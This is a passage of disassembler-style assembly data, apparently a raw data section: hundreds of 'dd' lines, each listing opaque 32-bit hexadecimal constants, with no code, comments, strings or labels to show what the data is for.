dd 64ACE476h, 0CA8535F4h, 591A63A6h, 715C7A66h, 9C2DD223h
dd 0DB7E9DC0h, 7413B3Bh, 5942C0F2h, 0BA3DAEA8h, 0FD35B0F0h
dd 0C5A03544h, 0F6AEE26Fh, 2919A94Bh, 576E04C8h, 46C227CCh
dd 0C22C749Ch, 48933372h, 19AAE79Bh, 1B740F2Fh, 0BF151D37h
dd 0CDE31F6Bh, 1ABC3AA7h, 0FB91EDFCh, 0A0D6C223h, 659914F6h
dd 58C7D530h, 825C23E8h, 0E1BD3A10h, 0EF4A3EB8h, 0A609C8F0h
dd 748293A5h, 0D8A7A150h, 782FA3BFh, 81756D07h, 1A6F394Fh
dd 0F0EAD9C7h, 98B2ED17h, 2E6EA73h, 7F4571D0h, 4E2D37C6h
dd 55CD795h, 0A9E02DE5h, 181C46Ah, 0F11EACF8h, 392F3Dh
dd 501CAFCAh, 0FE9C284Ah, 5610B694h, 4E90ED01h, 4B32D3D5h
dd 471E5B92h, 671F0AC8h, 14C60325h, 85B2D82Fh, 3BC5D013h
dd 25FD4750h, 99924C41h, 2C7A1BC3h, 4ECE6157h, 0E8B475F0h
dd 8ED44E4Bh, 492F89D5h, 1C2A899Ch, 0BE1784D2h, 8ACE89C1h
dd 0CBC6DB5Fh, 84D6AE8Ah, 0BBFE28B6h, 21D9995Dh, 33BCF614h
dd 0AF1AB6BAh, 0E15C6751h, 0AAEF91BCh, 26DE12D6h, 0EB616441h
dd 8D8C14F0h, 34DEFCEFh, 44A02E58h, 76DFB76Ah, 3AAFEFF2h
dd 58C8BC49h, 99C1AE34h, 0AC4AB879h, 0EE2643B9h, 70A4B35h
dd 0B6D1E6B5h, 0FAE3D1EFh, 927F96E3h, 9BDD3E82h, 0D0B79CE0h
dd 0E7CEFB4Fh, 0BC1DC3A0h, 7A3015B5h, 0CCBC1B36h, 0A0219AD3h
dd 0DC02B2A0h, 5A4DE449h, 3DE09934h, 28F0AB22h, 2C2DE46h
dd 7C63D8C6h, 10D7FFB9h, 11DAA05Fh, 27C36BACh, 0A0B9FAECh
dd 388BD88Ah, 55125C31h, 52AF2433h, 749FE978h, 0E6352994h
dd 0DB2C4889h, 0E04E2082h, 5D732590h, 0FEABCFEDh, 0B90F1622h
dd 0FCE3DCF9h, 0DD2057D8h, 619781FBh, 0BDFABA68h, 740C1B6Eh
dd 96C9856h, 0A44ADB2Ch, 0FA9B90F9h, 69AED042h, 477ECCF6h
dd 5A1C7CE2h, 2D4A385h, 619845D1h, 0BEC058EDh, 6CD04B26h
dd 808FBA95h, 6525BAF8h, 8B2B7A47h, 7BA4297Ch, 931FB1E1h
dd 5D2FFB05h, 386CC73Eh, 0C2271CC6h, 587C17E0h, 0FAEF4C56h
dd 428A1D11h, 77C446DDh, 0B905B935h, 0FC1401BDh, 0F742CB6Ah
dd 61C3B33Fh, 0F1D9A57Fh, 0B86F4573h, 4265F279h, 0C5499730h
dd 0B2280FCAh, 0C80E2CBh, 0BABD5C39h, 0C54B7C0h, 17512597h
dd 50F7446h, 0D7524C6Bh, 2319032Fh, 0A6AAC447h, 24FCF84Eh
dd 12994805h, 321BE221h, 0A86F444Ah, 0D5A8DD9Eh, 8624DAC1h
dd 77649548h, 0E214ED7Eh, 0A0521CA4h, 2A607620h, 6B74D180h
dd 0E027E9E6h, 0A9F53961h, 984650B2h, 196C3B24h, 85C2FE71h
dd 47B7BA9Ah, 0AE33D3ABh, 7A46EEE0h, 0AB99DBC5h, 3FF246D3h
dd 0E3BCA61Ch, 0F1490815h, 0F38445A4h, 148898FAh, 0A6357538h
dd 655A1DD7h, 7DEB4AD4h, 419B4ADDh, 45E99B94h, 0CE0D370Ah
dd 0E381785Bh, 0A492666Bh, 8C94BE12h, 0AD44FA5Eh, 0D50B31BBh
dd 7516957Eh, 0A90B3283h, 72717835h, 0B5A0595Bh, 0B93BB902h
dd 0D3001A52h, 0E4DC1BFFh, 0D1884E52h, 8F78495Dh, 1FC58EAEh
dd 0BAE623DFh, 0B90F51D0h, 0AD19FCE9h, 98AFEC06h, 41EF855Bh
dd 66EF79Ch, 0E7027D59h, 0D7BF71DEh, 50754FFDh, 0A9C76C14h
dd 0C3C9FB7Bh, 43E510BEh, 5F2B7DCh, 0FB9D58F8h, 9E9F238Ch
dd 0DDA478B2h, 79290461h, 7C1F8B60h, 2E483466h, 2675809Dh
dd 5E3B0663h, 15A479EEh, 190BDF37h, 992800D3h, 41CFE578h
dd 0C4438EEAh, 9747F925h, 0BE842507h, 0BFE88094h, 0DC5ED69Dh
dd 0AF49692Eh, 0A5FD8593h, 51072F42h, 5A5966CDh, 0C10A586h
dd 95226B50h, 0EC4B7D57h, 0FC4CED2Fh, 0BDFDB648h, 93E89CD1h
dd 0B4DE1687h, 0E4CCBFD5h, 58613770h, 94D59679h, 7B4732B4h
dd 7CA21C64h, 99AAB232h, 88D58F00h, 3EF7430Fh, 8D261724h
dd 0B95B9E45h, 5727362Fh, 63E7A3ACh, 0BDE31039h, 57AF4840h
dd 90D72C65h, 2FCA973Dh, 2C1C4BCh, 8F2672D6h, 0D5769E6Bh
dd 9F745C61h, 9C2AF0EBh, 836492Bh, 0E6D75611h, 476DE3FBh
dd 58DA657Ah, 26245F9Ah, 54EC09B6h, 9F233076h, 90BA4159h
dd 0B689B6A9h, 10932A2Fh, 5783ACD2h, 65E3BB2h, 577D6A68h
dd 0F0086657h, 6BA41D1Eh, 957B5762h, 2DABF740h, 0C9648991h
dd 0C37C9AEh, 88D73A66h, 76B7BC97h, 7239C29Dh, 6D5D5A3Ah
dd 7BF91BE5h, 0A81B14A9h, 1A39F545h, 964EB425h, 86F24746h
dd 23494308h, 22755F0h, 0E8FA573Ch, 0D8C88DFCh, 0F8E2A7E6h
dd 0D2BAD9C4h, 2478F5A0h, 6B8240C3h, 0FDAFF47Dh, 0B25208E4h
dd 0D1A39843h, 2EA9646Ch, 0B2385346h, 81B6CC06h, 8A0E8451h
dd 429A2BA1h, 0CBA7EC38h, 0EFBAC5D4h, 0BC68BDA5h, 4DB353F8h
dd 7BF1AD0Fh, 0D7953E6Eh, 24C08901h, 0CD3671ECh, 0A47A9EAAh
dd 0D0E1AAD8h, 149FBF0Ah, 0C85A7BEDh, 6CB312F5h, 0CD4DF3BEh
dd 8EDA9554h, 4A518C77h, 0E93A804Bh, 3DC737E6h, 0ED2471D5h
dd 40F6E658h, 3B056B2Ch, 43A5D2Eh, 0F60BCD83h, 0DE847A78h
dd 5B5FC487h, 0D8892C53h, 0D44483D8h, 0BDC92436h, 8A9D46AFh
dd 22CA210h, 0BB569ED0h, 0F1223046h, 9115350Ah, 0CDF791BFh
dd 0E34CA75Fh, 1AE80E29h, 0D53D30DFh, 8A56A83h, 73829A2Bh
dd 327ABA17h, 65CBC52h, 8269F63Bh, 0DCF1B1FCh, 0A778EB61h
dd 44EEC46Dh, 2010B085h, 853C1243h, 345A3F4Ch, 64DB1FF4h
dd 439913D4h, 0FF571592h, 0AA416A87h, 637950B4h, 97ACACADh
dd 4B6D0289h, 0C997BA9Eh, 4217CC73h, 53CBEBA7h, 2CC88581h
dd 546EEE8h, 937D2461h, 5E3158F5h, 11654E15h, 0E3C8825Bh
dd 4A9BC365h, 769EF7C1h, 0BD35EEC5h, 0AFDBABEDh, 0E2E6CF9h
dd 0E744A9DDh, 43CEE3E2h, 40CFC9E7h, 0F3D4E2E3h, 7DE4726h
dd 3C605DCh, 6FFA5E07h, 2D37923Ah, 99921254h, 45DCA27Fh
dd 0C1C8C4E4h, 0CD04BC68h, 1B2557EDh, 0E6C58B45h, 35B12781h
dd 0B103A972h, 2E68D53Eh, 0CE66F2F9h, 89757F03h, 886360B3h
dd 0A37F1A4h, 0BEC50152h, 0C613D76Bh, 3113B143h, 8DC2B0AAh
dd 4F542F14h, 301C5F7Dh, 0A2E7263Bh, 0A6FD478Bh, 4CC488B2h
dd 0A67220A8h, 0BBBDFE90h
dd 53C567F6h, 0A34600F6h, 59340B83h, 5FEF9B91h, 936D5857h
dd 7D13B45Bh, 8E1644CBh, 8D8D38B5h, 0FF12BD86h, 0F76C9DE0h
dd 0B161D775h, 0AA285AD8h, 26EF96E0h, 98959856h, 0D7D6C56Bh
dd 36910587h, 0E839B4CDh, 47E98BE5h, 4F023943h, 33991B70h
dd 0C31CE8CCh, 4313E0F2h, 216E411Ch, 82928208h, 7FE4AA7Ah
dd 0FC9FF1EAh, 4ECFB1F7h, 0C8138D4Dh, 0CCC748C8h, 317E1B32h
dd 297739BDh, 4A8E9696h, 948F512Fh, 781BF82Fh, 2660A622h
dd 0E04B24AAh, 0BF20934Dh, 28282FCEh, 3A7DDFD9h, 7A1689C4h
dd 2456C784h, 80218772h, 8192787Ch, 27BD7FF9h, 0A610BE5Fh
dd 0F03DC2F6h, 0BF1E8D89h, 18DBC79h, 0B5AA4EB0h, 0AF4ED893h
dd 0D613948Ah, 7D2C61AEh, 73613A37h, 0E79F4A52h, 1BB503B6h
dd 0ACF5451Fh, 0C8832E68h, 0E62CEA04h, 6F3DB686h, 0AFACE917h
dd 69D9CD6Ah, 456C8122h, 51709E0Ch, 960EEE9Eh, 0ED053D1Bh
dd 539B4EABh, 5C0FA6F5h, 119C109Ch, 0E8348FA7h, 0CF51BB01h
dd 0BFC50A3h, 0BC0A995Eh, 39298214h, 3DAB8595h, 0DEF9BBE1h
dd 0C80F339h, 0F592F34Eh, 0EA9CE1A5h, 477BE10Fh, 8450DFB9h
dd 2BD6F968h, 0F33F0DF8h, 0B97E17C8h, 3A07721Ah, 710CEED6h
dd 246555FFh, 456A406Fh, 65C5C390h, 0F099265Eh, 1E606390h
dd 0FE3F9DDDh, 0F47E3555h, 0F0F04D9Fh, 0A25C5D48h, 4B31F28Dh
dd 0C354E49Fh, 1CF7F79Bh, 0A4ABB13Ah, 0E0D34C94h, 65B3CC19h
dd 32A8E5AFh, 0A3276F08h, 8E1677C1h, 9DBB9AC2h, 7A550B8Eh
dd 815AB12Eh, 2B35AE87h, 62CE5F19h, 17C0B59h, 0FE1CD66Eh
dd 0F96025A3h, 0C9591B93h, 65386E52h, 3AA78F09h, 0AA7670FCh
dd 0D685D44Fh, 8F34406Ah, 64432C70h, 0F21008h, 0ECA1A154h
dd 0D04A1E53h, 22411C90h, 8BB20C97h, 45920A45h, 0D5528464h
dd 6C440773h, 0EB39A293h, 18D3ECE3h, 0BA075BCBh, 0A73F69E0h
dd 4170B7C8h, 8E138071h, 528CFE70h, 0BA4597A6h, 0E3419A4Bh
dd 0ABE2A081h, 0EF322DD1h, 25D95929h, 4FB655EBh, 70970F91h
dd 0C364519Ah, 2FE3B2E1h, 932665AEh, 247B24D9h, 0A502AAF2h
dd 0A2137AD0h, 0E5B2BAFAh, 9AA2D295h, 4227E9A3h, 61B94EDBh
dd 0EE09DF99h, 78703602h, 9391007Ah, 79E8A16Dh, 58221B80h
dd 4DE41DE5h, 8BFBD164h, 1BFC7D24h, 0E636E4DFh, 0D7701DCBh
dd 42279C7Bh, 7B4A7299h, 8A41B4E8h, 873171ECh, 0FC4CC458h
dd 8D0E211Eh, 7004A7ABh, 0EE0E45C2h, 0FF31C5A0h, 47FA8B07h
dd 749DFBCCh, 8C963A93h, 7BFFC23Ah, 5C02B139h, 9BE07FD0h
dd 121C787Dh, 0DFD2C729h, 0BB129C87h, 6FF933B1h, 2B90EA4Ah
dd 69568FAFh, 695FDF04h, 35225824h, 0B19CCF7Fh, 57E5AE37h
dd 0D8025CB8h, 0B73A9B48h, 895A1A45h, 0FD95C032h, 0F5D2156Bh
dd 990E0D52h, 953BF33Ah, 0C34C0F2Eh, 26EAA4DEh, 1543624Bh
dd 0B1D6DBFCh, 409D72E7h, 475F4FF1h, 5CB2EFCEh, 0E2CF1EB4h
dd 0B577A146h, 0BEB10007h, 0E2E16207h, 6919E385h, 0D7D88FB5h
dd 85A9F796h, 0CA9A0902h, 543ACF07h, 0FE941CEAh, 66A046C3h
dd 0D71F4D1Ch, 8A76EEACh, 4B42E6E7h, 0F27E6FAAh, 0A9BC7F58h
dd 3BE24877h, 5374D74h, 8691E960h, 698FF356h, 818A369Ch
dd 24113D3Eh, 91A08B23h, 7EF7440Ah, 7AC01045h, 6AAAE123h
dd 840E9041h, 0D4064C5Ch, 2CA15E2Bh, 0D07E4CFAh, 631A7C2Dh
dd 482C1F00h, 66930DFBh, 71DF1B1Eh, 0ED8C3A1Bh, 0BC48E65Bh
dd 83051832h, 0F65AA50Dh, 0DCBB5EFFh, 1614F519h, 9127BFC0h
dd 4080BCD7h, 0EECEFA94h, 755D7D4Bh, 2C401AA1h, 77177995h
dd 7F759DA0h, 3F641510h, 16BE0698h, 0B7881A6h, 5CBC2479h
dd 0E6FDC5CCh, 82306CACh, 5855F333h, 8496BCAAh, 0DECD3E6Dh
dd 24693268h, 583399E2h, 242086E7h, 453607CAh, 64E14DB0h
dd 2448D290h, 31439FCEh, 0C06A9593h, 4F2D73EBh, 0F70A7524h
dd 6C536AA5h, 338FB61Eh, 7B0167C5h, 0A7C46A26h, 8E6B122Bh
dd 2C9692C3h, 941D1B4Eh, 0A48D1B05h, 401FF870h, 0A74FB657h
dd 9D7D44C5h, 1358FD83h, 114B9250h, 59ABB224h, 52D4E64Fh
dd 708FD772h, 77B5EED2h, 186B70FAh, 15459E1Ch, 69E4C6C7h
dd 3DB9FFACh, 37339402h, 0C36CFD29h, 0F88BA437h, 2D483F26h
dd 187CBD23h, 0FD4D9284h, 88A19657h, 8EE94932h, 4042254Ah
dd 0E9835335h, 0BDB00A78h, 906E5870h, 0B86850E2h, 29D20391h
dd 240715DFh, 218B3EA3h, 8B021B4Ah, 1FB2ED40h, 0D32BFAD1h
dd 4D3E2F29h, 176DBC33h, 6360205Eh, 0B30C33F4h, 0D06F86FFh
dd 0A3D4E6B5h, 0D7266D0Dh, 5E63826Bh, 0D072C948h, 0FAAFC372h
dd 0E828DBB8h, 0C6D4DCC5h, 0FB3F1654h, 0C7A246A1h, 15BB669Dh
dd 0ED278E43h, 1FBF00Eh, 0F6BD0E6h, 203D3251h, 0A5CD4EC2h
dd 4CA5BDE3h, 6EEED079h, 3EB99CFAh, 885AF2E8h, 6FF01F9Ch
dd 0D7C30615h, 64809D9Dh, 0B6638843h, 63CA8019h, 412FA705h
dd 0DC6E39ADh, 0A8D9C4BBh, 0DA474E39h, 608D0FC9h, 600703EEh
dd 0C70B0811h, 0A8BB1B94h, 0AEB4A0DEh, 0F0F67A74h, 0EB293364h
dd 25EEED4Fh, 5D43B6EEh, 1991DDEFh, 3073E7A1h, 1B2EFE98h
dd 15ECD9B8h, 88187DBEh, 415B91A5h, 6BE5F8B8h, 6AA46834h
dd 0D245DABDh, 6AA45FEAh, 3576AFAh, 0D7D8A661h, 35CB51BAh
dd 5D688E1h, 2DC667E1h, 0D553815Dh, 0F0533519h, 72BD8449h
dd 0B5F0CACCh, 9B42358Fh, 0C0930F89h, 408D2F2Ah, 0CF6DD280h
dd 0AAA8209Eh, 79C8D2D8h, 8C4C978Ch, 0A60309C7h, 9388F641h
dd 0ACC9A899h, 418D2BDBh, 731B43B6h, 0DB16EE6Dh, 45C96147h
dd 1900C32Fh, 0F1FCEA39h, 1ADF8596h, 8D9B7467h, 81D95CCDh
dd 0AD94B7ABh, 2F5B7EFh, 0DC854FCBh, 0F2F7FE0Ch, 106A2669h
dd 5E40C8EBh, 0F75E1D2Eh, 8B8E70CDh, 0A65BCE4Eh, 0DBC4D09Fh
dd 43E0C9A4h, 86769366h, 27B31FF8h, 0E62A6BA3h, 67246FD0h
dd 1573BE4Fh, 0CBFC791Ch, 574C4227h, 0FE4C8C2Eh, 0A666987Fh
dd 0BECCE3EEh, 42295E22h, 0E4EEB760h, 2A4A8640h, 4001096Fh
dd 4937D415h, 2F912CBh, 538B7BF6h, 0E5FA1C7Ch, 6B546012h
dd 1B2D4962h, 8747A3ABh, 0F81AD2D3h, 0B5A38404h, 12C7334Fh
dd 0C0859175h, 2BEB148Ah, 83BAA1A6h, 745A6EA1h, 0D3FEE5D1h
dd 0E38C38BEh, 44FFE5B7h, 39E50632h, 56C00436h, 8C08FB0Ah
dd 3BBEFD05h, 8280E429h, 5A6A0D14h, 5E77E4DBh, 0F712BB90h
dd 0C3180AB0h, 5D894386h, 53F19913h, 218F4099h, 0D1A758F8h
dd 2D85B706h, 0D257A8E6h, 3A471ADBh, 16E31AFAh, 0F0DDD732h
dd 8CE395A6h, 8456730h, 14F010EAh, 0DB8D2380h, 1CF0B168h
dd 8E2BC0F7h, 0DA97E1A5h, 7AC2D094h, 0CE69AD3Bh, 0F1F5EBC6h
dd 70CC03A6h, 8780F006h, 1D2C5F95h, 0D72DAAA7h, 31AB6368h
dd 248EB0E1h, 293AD93Eh, 0DB1B65DBh, 0D4290815h, 0B6CB5F90h
dd 4839E4B7h, 10CB5C48h, 0AB69BE88h, 0C8E42760h, 0A3D14799h
dd 9812AA8Eh, 4EF68002h, 207C27D9h, 0B3F9E0FFh, 0AC3A3043h
dd 0F41DDB1Fh, 0F6A1E3E1h, 0B5053E52h, 31604129h, 0C3BC4CB6h
dd 0DDB53EEDh, 0A7A8ED81h, 2D82E8E2h, 0E94FAA79h, 7905FEEAh
dd 0B34080BCh, 8186DDh, 54E42895h, 18733D82h, 8264F8A4h
dd 953B1F45h, 4096D79Eh, 9B1C8A66h, 9A4BFB3Fh, 0A7B8B7D4h
dd 7BB06189h, 0E91528CAh, 0DA3BFE8Dh, 0D6A3B22Eh, 762FDAE3h
dd 0A98F79DAh, 8938E27Dh, 0E77515F1h, 25C43ADEh, 154C96C8h
dd 0B8C8F69Ch, 66E57824h, 7D8950E1h, 0B0F9B554h, 9B50041Ch
dd 0AE5CCEF1h, 5CCE3C62h
dd 0AC9CC13Bh, 5C2BF113h, 0D452ACF1h, 0BCACFBDBh, 351886EDh
dd 88AA9208h, 0D7B7F8F5h, 0D306B1EAh, 4E2376CFh, 0F9B17CB2h
dd 91855A4Fh, 0CFD7EAFh, 3A61ADE7h, 0C15BD8D8h, 0B0F89BE3h
dd 79429AEEh, 0CF9C4E58h, 0D37604EEh, 6931BB7Ch, 1BA868E6h
dd 58DEB13Bh, 3606B4C5h, 0BB65504Dh, 0A6E6939Ch, 0B839991Ah
dd 819D57AAh, 929E5D5Bh, 7D362B37h, 1C6ACFB3h, 0FAB8D45Eh
dd 78737B2Ah, 210F456Ah, 0E2112BBCh, 48B24CBBh, 73BCFAA6h
dd 9229E22Dh, 98B7276Fh, 0E5B8EE1Fh, 1F74FE40h, 485F5D3Bh
dd 25E7F7B3h, 8CDD30D2h, 316317A4h, 0AC8FCCEEh, 0D7CDE888h
dd 0B56C9624h, 3E91338Ah, 0CB4B8A7Fh, 0C03B37E6h, 2788A959h
dd 0F20D0D42h, 0DBD8F414h, 2442124Ch, 4E3C2ECBh, 0AF55456Eh
dd 3B938AEAh, 296C2BCh, 0C0274F1Fh, 2C5EA8Fh, 8CD8E866h
dd 862CDCC7h, 2CDC5A70h, 0AB52148Fh, 0A7C37FAAh, 5F2149EAh
dd 8D269442h, 7EA49F84h, 15DE5968h, 0FEF3B653h, 0E18B916Ah
dd 7BA71BFEh, 5950D91h, 2C48CB70h, 0EF547531h, 816965E0h
dd 0D5251CC8h, 0CF5ED402h, 0D6597648h, 219C13E4h, 25E9E80Ch
dd 3E999F02h, 78FD5288h, 101155CCh, 55EFC1B0h, 0A244F69Bh
dd 972AB970h, 0E2D70C60h, 0B5270105h, 5C216FD3h, 0DF905110h
dd 1C60F76Dh, 0DAEBA5D3h, 0E1B12045h, 927E2A48h, 0C514249Eh
dd 2A45D094h, 8090A695h, 5837AE40h, 6E8C5B06h, 9EC7D90Eh
dd 1BD3115Eh, 0DE40E50Dh, 0A82F856Eh, 99770F44h, 0ED7F11DAh
dd 30E088D2h, 29E3AC3Eh, 0BAF98436h, 0BB137F81h, 0BDED2E9Eh
dd 0C832BE10h, 0E40A4740h, 0B0F8F89Eh, 0AFD6C78h, 561B5F95h
dd 0E9AEAA90h, 6B20BEC2h, 64D776C3h, 0A4D7F5AFh, 7E3CFA14h
dd 0AAD4D19Fh, 0D837F07Eh, 0B3E606ECh, 32F9A4ACh, 0E2D02635h
dd 72E98631h, 0AFA63829h, 4EBE2110h, 62C8E960h, 0EA603189h
dd 23758E0Eh, 0C91FD3C7h, 0F675379Dh, 0E42B7184h, 0F9226CACh
dd 3D6C2738h, 24306A74h, 658E848Dh, 0E6D3D7Eh, 0FF6EBD6h
dd 8164C80Dh, 78F56ED5h, 0AD2DDA2Ch, 0BC9E9CE7h, 8D2EF608h
dd 0E2B4F193h, 0D4FB21A3h, 26B33120h, 0B94B9F9Ch, 3CBABAF1h
dd 0BE2E5542h, 6C5E59F9h, 25C75202h, 0A01DC5D1h, 0C7D433Ch
dd 870103E6h, 0AC0158ACh, 9BD9D6FDh, 6C6F1EB4h, 1103BDB5h
dd 4999A79Ch, 0E72999FFh, 0A877F387h, 0B15B05Bh, 865A3FE4h
dd 3D71DC00h, 32370BB3h, 95BA3A39h, 0F6046088h, 0DB2208EEh
dd 8D436D5Eh, 0E37A91F2h, 0EFA7ECF2h, 0DAD967DFh, 52D1E5FAh
dd 0FF5F5A31h, 36F90C7h, 7795A673h, 5B735B74h, 10AD9BDDh
dd 0BFBAE1A8h, 73602BEFh, 1F501862h, 0B5EFFC8Eh, 7B502335h
dd 0E4600543h, 574C8C0h, 6A7C2D2Ah, 55457370h, 0A3FA139Eh
dd 47AAFB5Dh, 2F232707h, 9598759h, 4E25C730h, 0C66AB7h
dd 4D6A792h, 38E06CA4h, 6D62A980h, 8105D587h, 7E4A4FCAh
dd 0DF94B7FCh, 0C5F67419h, 17271877h, 0E8A1992Ah, 2E98793Fh
dd 1B5AE6C0h, 0DD2B8A90h, 175C818Dh, 4EEF1225h, 7A24210Dh
dd 0DDB8F7E2h, 4B140A94h, 588E9629h, 13680382h, 0F6D5020Dh
dd 315912B6h, 2201A922h, 0FD27D7B4h, 7E29E32Eh, 356DFAD8h
dd 0CD54CF4Dh, 7A4BCA30h, 1D5214h, 5B8932FBh, 6CDCBED2h
dd 84FA14CEh, 0F75E9DE4h, 9C91E061h, 54B02095h, 3DF4C8EAh
dd 1FE47608h, 0FDB84EB3h, 0C695A3DAh, 247BA440h, 466E085Ah
dd 3A3970F8h, 27F1A175h, 0DA992EC6h, 0DF2D4BF8h, 9FF487BDh
dd 177A4185h, 0DE6AE49Ah, 1CE7A1E9h, 0A8846888h, 2E1CA91h
dd 3CEEDFEEh, 65A915DFh, 179E2F4Dh, 9CA7B474h, 0C35A1208h
dd 71B76FE5h, 0B6D4631Ch, 31973883h, 1699A9ABh, 2EDA1AFDh
dd 0E731E89Fh, 7CD9E4E1h, 0BDEEA343h, 0B67B5E56h, 13046777h
dd 170D9C98h, 0D162894Dh, 20D3A016h, 0A1A324D7h, 36A04114h
dd 0A925F3BBh, 0E416C97Eh, 479F1BB4h, 3FE1AF3Fh, 0CA46AF92h
dd 0D72F1B0Bh, 8C1C64DAh, 52871367h, 0C29B626Ah, 0AE4C8B25h
dd 0A1216870h, 950C5953h, 7D9BD11Fh, 18A999FFh, 0C4A9CB64h
dd 48597E4Fh, 0E26AC166h, 50EA046h, 5C17DC08h, 5366D7A4h
dd 2C9D4D90h, 0E1957822h, 0BD1360C8h, 9A0D9332h, 0DBECCA33h
dd 796D7D74h, 0C4FF4A2Ah, 520CD6FAh, 0B67EEFE3h, 0D602BFA7h
dd 4FFAF1D7h, 4346F3F5h, 374523E8h, 1F1E8297h, 0AC7C5872h
dd 37CB3991h, 7532BF9Ch, 80635CFEh, 4B8946EAh, 9B7C3DCAh
dd 61EB1872h, 0E72626E0h, 8B897633h, 401F04EEh, 0DA69F782h
dd 0F57F90CDh, 8F281909h, 86D41EDEh, 230B6FA0h, 8EEFEB76h
dd 395F1D7Eh, 251322CDh, 36EE7065h, 3446C125h, 6A84E914h
dd 487C7EFAh, 0B0B6D047h, 8BACB45Ch, 7BDF2296h, 96AB97AEh
dd 0CCA19EADh, 0C7416C5Eh, 0C294B760h, 42F4A9FBh, 9B6F93D0h
dd 0DCD50C7Fh, 27A7DD5Ah, 47F8263Ah, 36AB97A4h, 391CA5D5h
dd 19E88D15h, 0FBC67EB6h, 73E7CE1Eh, 0BFFBCFDBh, 211CDCBFh
dd 7770957Bh, 4DEE26A4h, 0F4262311h, 31807FC0h, 0B0EA21FAh
dd 404B923Dh, 76C84AE4h, 5D500BABh, 0C70E6B97h, 482584CEh
dd 0CC758A2Eh, 98B098FCh, 0D01E28C1h, 0D8D5A781h, 3F4FF0B1h
dd 22FC1EB6h, 4C4BFB6Ch, 514321BDh, 0F8B978D5h, 60007ED9h
dd 2223BD00h, 0B15D4127h, 9ABABE5Dh, 0C3EC5E6Eh, 241E3589h
dd 0CC6A8C07h, 78540512h, 0ACDF4FA5h, 81C1221Bh, 14D6104Fh
dd 6C87984Eh, 0C2DBEDC1h, 0D73A052Ah, 7476F371h, 4E8D307Fh
dd 0AB489452h, 7C325160h, 9659D4D8h, 21A2B642h, 0CA171BD2h
dd 9DC9DAD3h, 0F91752ADh, 92EC74E2h, 1759CD9Fh, 0CDB79EFEh
dd 876131D9h, 0E7F759Eh, 0BF266252h, 0EE1540C0h, 0F804974Ah
dd 0A13F282Ah, 0CB41E7F9h, 899B8B0Dh, 0BDFC169Bh, 1CA96338h
dd 0FCAD7A2Eh, 7E9CD4A3h, 0D38F851Eh, 0B84EFC2h, 1977AF7Ah
dd 20D23E8h, 3095708h, 4D4A2B41h, 986F785Fh, 7C685E10h
dd 0B66E18ECh, 0DC439239h, 0FBF03CD4h, 7C607639h, 0E2F95C06h
dd 16733BD4h, 63CDF8E4h, 5B3675BCh, 0D3B59E7Fh, 66D0069Eh
dd 29CBADACh, 7DE98A14h, 3C3A12D4h, 0F040A346h, 1FA7A3C6h
dd 13E12BEFh, 736D4889h, 0C1333DC2h, 0CDC4E02h, 0ACF153D7h
dd 2D72D3D4h, 0B914EE2Eh, 8ECB55EBh, 0E39EBC6Ah, 9911FA0h
dd 2C63FC40h, 0B9DEEC3Fh, 0DB4275F6h, 861BACDEh, 6EFCBA6Dh
dd 0C8D8003Fh, 9FC727E1h, 5315EE8Ch, 67B6712Fh, 55F5926Dh
dd 2DAE1A15h, 0F95F12A2h, 8D525405h, 3EFF435h, 37B6823Fh
dd 79C312BEh, 6B69ADF5h, 8BEEAB93h, 0B49ED759h, 9D707BF4h
dd 4CA83589h, 88AAE2B7h, 8A15AEE9h, 81A9A5A7h, 0DB8C03F0h
dd 0EDE06CE0h, 0EEDD010h, 0A17D6087h, 4F7FA0D4h, 398B3707h
dd 0A0C6F69Ch, 133D0460h, 7961A089h, 0E6CD0C22h, 0EEB4B183h
dd 547A36Fh, 169D01BCh, 5DD94855h, 431E46FBh, 312B6FAh
dd 8B1C1305h, 0EF8DE97Fh, 3F25F0A1h, 27F162F2h, 9FA81A38h
dd 0C9C86068h, 9BBCF621h, 3232DBF3h, 781BBB1Bh, 0D212C5FBh
dd 852B7F2Ch, 6E79DC61h, 49E7672Ch, 83D1A453h, 8BD8B7CAh
dd 0B79C0628h, 19E2D5C6h, 0BA8D9046h, 7340DF84h, 0F78084DCh
dd 9D1F546Dh, 31EA9A5Ch, 5D145901h, 0EB0A3506h, 58C607B3h
dd 0CB03AE94h, 3A4D472Ah, 0B9C6E887h, 0F238CACh, 66209DEAh
dd 0BC6C5009h, 8C92CDDh, 6FDAA21Fh, 0B5B47810h, 250BE0DAh
dd 8B0AC23Bh, 6BE382DFh, 0B7E0B8CEh, 8D1753CCh, 9E379E9Ch
dd 3098912Fh, 0E6369D64h
dd 5BC7F264h, 0F5F92368h, 0D6AF83F6h, 32655F76h, 782850E6h
dd 6643DAA9h, 7708883Fh, 223104ADh, 0EA99861h, 0ED50C820h
dd 0A90FB908h, 72F1D6Bh, 0E1F86AACh, 5A4149F7h, 0C3D8FD24h
dd 75398371h, 32B68A8Ch, 0E84C9B40h, 0F086833Bh, 0CDC9B4B4h
dd 6BB71083h, 0F2C51974h, 74C765B0h, 398B38A7h, 55898C13h
dd 73B5C7DCh, 193E5C36h, 0D9ACB272h, 0B80A929Bh, 0DF1D7388h
dd 221DF610h, 0D3C7F38Ah, 0CDBE7B5Ah, 0DE2B3D47h, 11B415D4h
dd 0D5D5BFBh, 0C2F4EB7Eh, 877F4384h, 7F6603CAh, 0D19C793Eh
dd 372C5245h, 0D25DD1F0h, 632AE243h, 4BE3DF21h, 0C4CBA59Dh
dd 39BCF7A0h, 95B4CC9Dh, 0EB3C0302h, 651F7B6Ah, 906B20D5h
dd 0D4384B4Dh, 0C06B44FBh, 0FBF6301Ah, 4A0A36E7h, 0D8C20E7h
dd 2E5D4A79h, 30790E42h, 3C4D7D5Eh, 691F1C4Bh, 0A4E5A9EFh
dd 0A5332E62h, 0E4C522EBh, 325D65B4h, 20967D14h, 0AA903B5Eh
dd 98E2B00Ah, 6FD90BD3h, 76FB5478h, 6B4557Dh, 4DEEB8D6h
dd 0AE701B65h, 0A7A89F4h, 476705F1h, 72F9BF3Ch, 0DC1F91E7h
dd 0A59DF272h, 395CF0ABh, 91CE2786h, 0A11B9467h, 6B84284Ch
dd 2B2A386Eh, 5C9BAEECh, 616F75EAh, 0AF0984BCh, 412084EEh
dd 4DB27A23h, 906C2F93h, 32585FCCh, 0ED3D7A3Eh, 4B983499h
dd 9CE47212h, 481C18FFh, 1E926EA5h, 8F3A1ADCh, 95E38297h
dd 0AF42EAF0h, 5D5D6D1Fh, 0DBAB71F4h, 5A709C5Eh, 3E5E65CFh
dd 14891CD1h, 0CD2AFE49h, 6AC83DFDh, 9C0DA44Dh, 3AB38513h
